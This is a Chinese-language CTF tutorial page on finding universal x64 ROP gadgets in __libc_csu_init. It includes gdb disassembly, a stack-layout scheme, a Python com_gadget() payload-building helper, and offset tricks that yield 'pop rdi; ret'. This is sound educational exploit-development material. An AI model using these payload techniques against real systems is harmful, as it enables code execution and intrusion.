mirror of
https://github.com/nganhkhoa/CTF-All-In-One.git
synced 2024-12-25 11:41:16 +07:00
145 lines
7.2 KiB
Markdown
145 lines
7.2 KiB
Markdown
# 通用 gadget
|
||
|
||
|
||
## __libc_csu_init()
|
||
我们知道在程序编译的过程中,会自动加入一些通用函数做初始化的工作,这些初始化函数都是相同的,所以我们可以考虑在这些函数中找到一些通用的 gadget,在 x64 程序中,就存在这样的 gadget。x64 程序的前六个参数依次通过寄存器 rdi、rsi、rdx、rcx、r8、r9 进行传递,我们所找的 gadget 自然也是针对这些寄存器进行操作的。
|
||
|
||
函数 `__libc_csu_init()` 用于对 libc 进行初始化,只要程序调用了 libc,就一定存在这个函数。由于每个版本的 libc 都有一定区别,这里的版本如下:
|
||
```
|
||
$ file /usr/lib/libc-2.26.so
|
||
/usr/lib/libc-2.26.so: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /usr/lib/ld-linux-x86-64.so.2, BuildID[sha1]=f46739d962ec152b56d2bdb7dadaf8e576dbf6eb, for GNU/Linux 3.2.0, not stripped
|
||
```
|
||
下面用 6.1 pwn hctf2016 brop 的程序来做示范,使用 `/r` 参数可以打印出原始指令的十六进制:
|
||
```
|
||
gdb-peda$ disassemble /r __libc_csu_init
|
||
Dump of assembler code for function __libc_csu_init:
|
||
0x00000000004007d0 <+0>: 41 57 push r15
|
||
0x00000000004007d2 <+2>: 41 56 push r14
|
||
0x00000000004007d4 <+4>: 49 89 d7 mov r15,rdx
|
||
0x00000000004007d7 <+7>: 41 55 push r13
|
||
0x00000000004007d9 <+9>: 41 54 push r12
|
||
0x00000000004007db <+11>: 4c 8d 25 16 06 20 00 lea r12,[rip+0x200616] # 0x600df8
|
||
0x00000000004007e2 <+18>: 55 push rbp
|
||
0x00000000004007e3 <+19>: 48 8d 2d 16 06 20 00 lea rbp,[rip+0x200616] # 0x600e00
|
||
0x00000000004007ea <+26>: 53 push rbx
|
||
0x00000000004007eb <+27>: 41 89 fd mov r13d,edi
|
||
0x00000000004007ee <+30>: 49 89 f6 mov r14,rsi
|
||
0x00000000004007f1 <+33>: 4c 29 e5 sub rbp,r12
|
||
0x00000000004007f4 <+36>: 48 83 ec 08 sub rsp,0x8
|
||
0x00000000004007f8 <+40>: 48 c1 fd 03 sar rbp,0x3
|
||
0x00000000004007fc <+44>: ff 15 f6 07 20 00 call QWORD PTR [rip+0x2007f6] # 0x600ff8
|
||
0x0000000000400802 <+50>: 48 85 ed test rbp,rbp
|
||
0x0000000000400805 <+53>: 74 1f je 0x400826 <__libc_csu_init+86>
|
||
0x0000000000400807 <+55>: 31 db xor ebx,ebx
|
||
0x0000000000400809 <+57>: 0f 1f 80 00 00 00 00 nop DWORD PTR [rax+0x0]
|
||
0x0000000000400810 <+64>: 4c 89 fa mov rdx,r15
|
||
0x0000000000400813 <+67>: 4c 89 f6 mov rsi,r14
|
||
0x0000000000400816 <+70>: 44 89 ef mov edi,r13d
|
||
0x0000000000400819 <+73>: 41 ff 14 dc call QWORD PTR [r12+rbx*8]
|
||
0x000000000040081d <+77>: 48 83 c3 01 add rbx,0x1
|
||
0x0000000000400821 <+81>: 48 39 dd cmp rbp,rbx
|
||
0x0000000000400824 <+84>: 75 ea jne 0x400810 <__libc_csu_init+64>
|
||
0x0000000000400826 <+86>: 48 83 c4 08 add rsp,0x8
|
||
0x000000000040082a <+90>: 5b pop rbx
|
||
0x000000000040082b <+91>: 5d pop rbp
|
||
0x000000000040082c <+92>: 41 5c pop r12
|
||
0x000000000040082e <+94>: 41 5d pop r13
|
||
0x0000000000400830 <+96>: 41 5e pop r14
|
||
0x0000000000400832 <+98>: 41 5f pop r15
|
||
0x0000000000400834 <+100>: c3 ret
|
||
End of assembler dump.
|
||
```
|
||
从中提取出两段(必须以ret结尾),把它们叫做 part1 和 part2:
|
||
```
|
||
0x000000000040082a <+90>: 5b pop rbx
|
||
0x000000000040082b <+91>: 5d pop rbp
|
||
0x000000000040082c <+92>: 41 5c pop r12
|
||
0x000000000040082e <+94>: 41 5d pop r13
|
||
0x0000000000400830 <+96>: 41 5e pop r14
|
||
0x0000000000400832 <+98>: 41 5f pop r15
|
||
0x0000000000400834 <+100>: c3 ret
|
||
```
|
||
```
|
||
0x0000000000400810 <+64>: 4c 89 fa mov rdx,r15
|
||
0x0000000000400813 <+67>: 4c 89 f6 mov rsi,r14
|
||
0x0000000000400816 <+70>: 44 89 ef mov edi,r13d
|
||
0x0000000000400819 <+73>: 41 ff 14 dc call QWORD PTR [r12+rbx*8]
|
||
0x000000000040081d <+77>: 48 83 c3 01 add rbx,0x1
|
||
0x0000000000400821 <+81>: 48 39 dd cmp rbp,rbx
|
||
0x0000000000400824 <+84>: 75 ea jne 0x400810 <__libc_csu_init+64>
|
||
0x0000000000400826 <+86>: 48 83 c4 08 add rsp,0x8
|
||
0x000000000040082a <+90>: 5b pop rbx
|
||
0x000000000040082b <+91>: 5d pop rbp
|
||
0x000000000040082c <+92>: 41 5c pop r12
|
||
0x000000000040082e <+94>: 41 5d pop r13
|
||
0x0000000000400830 <+96>: 41 5e pop r14
|
||
0x0000000000400832 <+98>: 41 5f pop r15
|
||
0x0000000000400834 <+100>: c3 ret
|
||
```
|
||
part1 中连续六个 pop,我们可以通过布置栈来设置这些寄存器,然后进入 part2,前三条语句(r15->rdx、r14->rsi、r13d->edi)分别给三个参数寄存器赋值,然后调用函数,这里需要注意的是第三句是 r13d(r13低32位)给 edi(rdi低32位)赋值,即使这样我们还是可以做很多操作了。
|
||
|
||
另外为了让程序在调用函数返回后还能继续执行,我们需要像下面这样进行构造:
|
||
```
|
||
pop rbx #必须为0
|
||
pop rbp #必须为1
|
||
pop r12 #函数地址
|
||
pop r13 #edi
|
||
pop r14 #rsi
|
||
pop r15 #rdx
|
||
ret #跳转到part2
|
||
```
|
||
|
||
下面附上一个可直接调用的函数:
|
||
```python
|
||
def com_gadget(part1, part2, jmp2, arg1 = 0x0, arg2 = 0x0, arg3 = 0x0):
|
||
payload = p64(part1) # part1 entry pop_rbx_pop_rbp_pop_r12_pop_r13_pop_r14_pop_r15_ret
|
||
payload += p64(0x0) # rbx be 0x0
|
||
payload += p64(0x1) # rbp be 0x1
|
||
payload += p64(jmp2) # r12 jump to
|
||
payload += p64(arg1) # r13 -> edi arg1
|
||
payload += p64(arg2) # r14 -> rsi arg2
|
||
payload += p64(arg3) # r15 -> rdx arg3
|
||
payload += p64(part2) # part2 entry will call [r12+rbx*0x8]
|
||
payload += 'A' * 56 # junk 6*8+8=56
|
||
return payload
|
||
```
|
||
|
||
上面的 gadget 是显而易见的,但如果有人精通汇编字节码,可以找到一些比较隐蔽的 gadget,比如将指定一个位移点再反编译:
|
||
```
|
||
gdb-peda$ disassemble /r 0x0000000000400831,0x0000000000400835
|
||
Dump of assembler code from 0x400831 to 0x400835:
|
||
0x0000000000400831 <__libc_csu_init+97>: 5e pop rsi
|
||
0x0000000000400832 <__libc_csu_init+98>: 41 5f pop r15
|
||
0x0000000000400834 <__libc_csu_init+100>: c3 ret
|
||
End of assembler dump.
|
||
```
|
||
```
|
||
gdb-peda$ disassemble /r 0x0000000000400833,0x0000000000400835
|
||
Dump of assembler code from 0x400833 to 0x400835:
|
||
0x0000000000400833 <__libc_csu_init+99>: 5f pop rdi
|
||
0x0000000000400834 <__libc_csu_init+100>: c3 ret
|
||
End of assembler dump.
|
||
```
|
||
`5e` 和 `5f` 分别是 `pop rsi` 和 `pop rdi` 的字节码,于是我们可以通过这种方法轻易地控制 `rsi` 和 `rdi`。
|
||
|
||
在 6.1 pwn hctf2016 brop 的exp中,我们使用了偏移后的 `pop rdi; ret`,而没有用 `com_gadget()` 函数,感兴趣的童鞋可以尝试使用它重写exp。
|
||
|
||
除了上面介绍的 `__libc_csu_init()`,还可以到下面的函数中找一找:
|
||
```
|
||
_init
|
||
_start
|
||
call_gmon_start
|
||
deregister_tm_clones
|
||
register_tm_clones
|
||
__do_global_dtors_aux
|
||
frame_dummy
|
||
__libc_csu_init
|
||
__libc_csu_fini
|
||
_fini
|
||
```
|
||
总之,多试试总不会错。
|
||
|
||
|
||
## 参考资料
|
||
- [一步一步学 ROP 系列](https://github.com/zhengmin1989/ROP_STEP_BY_STEP)
|